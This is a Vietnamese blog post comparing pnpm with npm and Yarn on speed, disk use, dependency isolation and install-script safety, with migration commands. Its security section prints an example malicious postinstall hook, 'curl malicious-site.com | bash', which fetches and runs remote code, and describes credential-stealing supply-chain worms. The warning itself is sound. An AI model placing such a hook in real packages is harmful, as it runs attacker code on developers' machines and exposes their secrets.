Khi thời gian cài đặt lâu như mẹ “đi chợ”, đã đến lúc để pnpm cáng đáng nhiệm vụ!
“npm install” mà quạt CPU gào rú, disk sắp nổ tung — thì đã đến lúc bạn thử pnpm.
Bạn clone một repo, chạy lệnh:
npm install
Và rồi… chờ.
Chờ mãi.
Chờ hoài.
Rồi bạn thử Yarn, thấy nhanh hơn tí, nhưng vẫn phải tải cùng một package 10 lần cho 10 dự án khác nhau.
Ổ cứng ngày càng phình to, thư mục node_modules nặng cả GB, và CI thì chạy chậm như rùa bò.
Đó là bức tranh trước khi pnpm xuất hiện.
Tóm gọn: pnpm sử dụng cách lưu dependency hoàn toàn khác biệt.
| Cơ Chế | NPM / Yarn | PNPM |
|---|---|---|
| Cách Lưu | Copy riêng package cho từng dự án | Sử dụng global content-addressable store, chỉ symlink vào dự án |
| Dung Lượng Disk | Nặng, lặp dữ liệu | Rất nhẹ, tiết kiệm ổ cứng |
| Tốc Độ Cài Đặt | Bình thường | Nhanh hơn 2–3 lần (nhờ cache + hard link) |
| Quản Lý Version | Theo từng dự án | Siêu chính xác nhờ strict symlink resolution |
| Bảo Mật Script | Tự động chạy postinstall script | Không tự động chạy trừ khi explicit |
Đây là phần mà nhiều dev chưa chú ý nhưng cực kỳ quan trọng.
Khi chạy npm install hoặc yarn install,
các package có thể tự động chạy script như:
"scripts": {
"postinstall": "curl malicious-site.com | bash"
}
Nếu không kiểm soát kỹ hoặc CI không sandbox, bạn vừa mở cửa cho mã độc chạy trên máy mình. Gần đây, các vụ lừa đảo kiểu này diễn ra thường xuyên: dev pull source Node.js từ repo lạ (thường qua bài test hoặc bài tập), chạy npm i là “toang” – mã độc tự chạy, quét env variables để steal API keys, GitHub tokens, AWS credentials, thậm chí lan truyền như worm. Ví dụ, tháng 9/2025, một loạt package phổ biến như chalk, debug bị compromise, dẫn đến hàng trăm package khác bị nhiễm, đánh cắp credentials từ môi trường dev. Worm “Shai-Hulud” đã tự replicate, ảnh hưởng hàng triệu install, khiến bao nhiêu key và tài khoản bay màu chỉ vì scripts auto-run. Đây là vector tấn công phổ biến (supply chain attack), đặc biệt với dev mới hoặc team không audit dependencies.
--ignore-scripts mặc định trong .npmrc:
pnpm install --ignore-scripts
pnpm i thì mã độc nằm im, không steal keys hay lan truyền.node_modules, hạn chế module A override module B — các kiểu tấn công như prototype pollution hay dependency shadowing gần như biến mất.Nói cách khác: pnpm cài package, nhưng không “tin tưởng mù quáng” package đó – lý tưởng để tránh những vụ “toang” tài khoản gần đây.
PNPM có một nơi lưu trữ toàn cục (mặc định: ~/.pnpm-store).
Mỗi package chỉ tồn tại một bản duy nhất — các dự án chỉ “link” tới đó.
# Lần đầu
pnpm install
# Lần sau (với dự án khác)
pnpm install # Gần như tức thì, vì package đã có sẵn
PNPM tạo node_modules theo cấu trúc “virtual store” riêng:
Dependency chỉ access được những gì khai báo trong package.json.
Điều này giúp:
Nếu dự án đang dùng NPM/Yarn:
npm install -g pnpm
# Hoặc dùng corepack (Node 18+)
corepack enable pnpm
Chuyển sang dùng:
pnpm install
pnpm run dev
Tất cả script và config vẫn hoạt động bình thường.
Bạn sẽ thấy tốc độ khác biệt ngay từ lần đầu.
node_modules truyền thống.Tuy nhiên, với Node 18+ và corepack, việc dùng pnpm giờ đã cực kỳ mượt mà.
Cả Vercel, Turborepo, NX, Cloudflare Workers đều hỗ trợ sẵn.
| NPM | Yarn | PNPM | |
|---|---|---|---|
| Tốc Độ | Chậm | Nhanh hơn | Nhanh nhất |
| Dung Lượng Disk | Nặng | Trung bình | Rất nhẹ |
| An Toàn Script | Chạy tự động | Chạy tự động | Không auto-run |
| Cache Toàn Cục | Không | Một phần | Đầy đủ |
| Isolation | Thấp | Trung bình | Cao (symlink isolation) |
| Phù Hợp Với | Mọi dự án nhỏ/lớn | Trung bình | Dev chuyên nghiệp / CI hiện đại |
Viết bởi một dev từng thấy node_modules nặng hơn cả source code.
Giờ ổ cứng sạch sẽ, build nhanh chóng, CI êm ru – nhờ pnpm.